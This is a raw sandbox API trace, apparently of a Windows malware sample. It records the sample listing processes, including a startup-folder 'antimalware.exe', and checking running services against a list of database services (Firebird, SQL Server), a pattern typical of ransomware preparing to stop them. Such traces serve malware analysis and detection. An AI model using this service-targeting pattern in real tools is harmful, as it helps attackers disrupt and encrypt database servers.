	[0170.592] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.593] lstrlenW (lpString="svchost.exe") returned 11
	[0170.593] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0170.594] lstrlenW (lpString="dwm.exe") returned 7
	[0170.594] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.595] lstrlenW (lpString="svchost.exe") returned 11
	[0170.595] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.596] lstrlenW (lpString="svchost.exe") returned 11
	[0170.596] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.597] lstrlenW (lpString="svchost.exe") returned 11
	[0170.597] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.598] lstrlenW (lpString="svchost.exe") returned 11
	[0170.598] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.599] lstrlenW (lpString="svchost.exe") returned 11
	[0170.599] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.600] lstrlenW (lpString="svchost.exe") returned 11
	[0170.601] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.602] lstrlenW (lpString="svchost.exe") returned 11
	[0170.602] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.745] lstrlenW (lpString="svchost.exe") returned 11
	[0170.745] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.746] lstrlenW (lpString="svchost.exe") returned 11
	[0170.746] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.747] lstrlenW (lpString="svchost.exe") returned 11
	[0170.747] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0170.748] lstrlenW (lpString="spoolsv.exe") returned 11
	[0170.748] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.749] lstrlenW (lpString="svchost.exe") returned 11
	[0170.749] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0170.749] lstrlenW (lpString="audiodg.exe") returned 11
	[0170.749] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0170.750] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0170.750] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0170.751] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0170.751] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0170.752] lstrlenW (lpString="sihost.exe") returned 10
	[0170.752] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0170.752] lstrlenW (lpString="Memory Compression") returned 18
	[0170.753] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.753] lstrlenW (lpString="svchost.exe") returned 11
	[0170.753] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.754] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.754] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0170.755] lstrlenW (lpString="msoia.exe") returned 9
	[0170.755] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0170.756] lstrlenW (lpString="explorer.exe") returned 12
	[0170.756] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0170.757] lstrlenW (lpString="SearchUI.exe") returned 12
	[0170.757] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0170.758] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0170.758] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0170.759] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0170.759] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0170.760] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0170.760] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0170.761] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0170.761] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0170.761] lstrlenW (lpString="consent.exe") returned 11
	[0170.761] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0170.762] lstrlenW (lpString="dllhost.exe") returned 11
	[0170.762] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0170.763] CloseHandle (hObject=0x350) returned 1
	[0170.763] Sleep (dwMilliseconds=0x1f4) 
	[0171.467] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45affd0
	[0171.467] EnumServicesStatusExW (in: hSCManager=0x45affd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0171.468] GetLastError () returned 0xea
	[0171.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x46f23f8
	[0171.468] EnumServicesStatusExW (in: hSCManager=0x45affd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f23f8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f23f8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0171.469] CloseServiceHandle (hSCObject=0x45affd0) returned 1
	[0171.469] lstrlenW (lpString="Appinfo") returned 7
	[0171.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0171.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0171.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0171.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0171.470] lstrlenW (lpString="AppXSvc") returned 7
	[0171.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0171.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0171.470] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0171.470] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0171.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0171.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0171.470] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0171.470] lstrlenW (lpString="Audiosrv") returned 8
	[0171.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0171.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0171.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0171.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0171.471] lstrlenW (lpString="BFE") returned 3
	[0171.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0171.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0171.471] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0171.471] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0171.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0171.471] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0171.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0171.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0171.471] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0171.471] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0171.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0171.471] lstrlenW (lpString="CDPSvc") returned 6
	[0171.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0171.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0171.471] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0171.471] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0171.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0171.472] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0171.472] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0171.472] lstrlenW (lpString="CryptSvc") returned 8
	[0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0171.472] lstrlenW (lpString="DcomLaunch") returned 10
	[0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0171.472] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0171.473] lstrlenW (lpString="Dhcp") returned 4
	[0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0171.473] lstrlenW (lpString="Dnscache") returned 8
	[0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0171.473] lstrlenW (lpString="DPS") returned 3
	[0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0171.474] lstrlenW (lpString="DusmSvc") returned 7
	[0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0171.474] lstrlenW (lpString="EventLog") returned 8
	[0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0171.474] lstrlenW (lpString="EventSystem") returned 11
	[0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0171.475] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0171.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0171.475] lstrlenW (lpString="FontCache") returned 9
	[0171.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0171.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0171.475] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0171.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0171.475] lstrlenW (lpString="gpsvc") returned 5
	[0171.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0171.476] lstrlenW (lpString="iphlpsvc") returned 8
	[0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0171.476] lstrlenW (lpString="KeyIso") returned 6
	[0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0171.476] lstrlenW (lpString="LanmanServer") returned 12
	[0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0171.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0171.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0171.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0171.477] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0171.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0171.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0171.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0171.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0171.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0171.743] lstrlenW (lpString="lfsvc") returned 5
	[0171.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0171.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0171.743] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0171.743] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0171.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0171.744] lstrlenW (lpString="lmhosts") returned 7
	[0171.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0171.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0171.744] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0171.744] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0171.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0171.744] lstrlenW (lpString="LSM") returned 3
	[0171.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0171.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0171.744] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0171.744] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0171.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0171.744] lstrlenW (lpString="MpsSvc") returned 6
	[0171.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0171.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0171.744] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0171.744] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
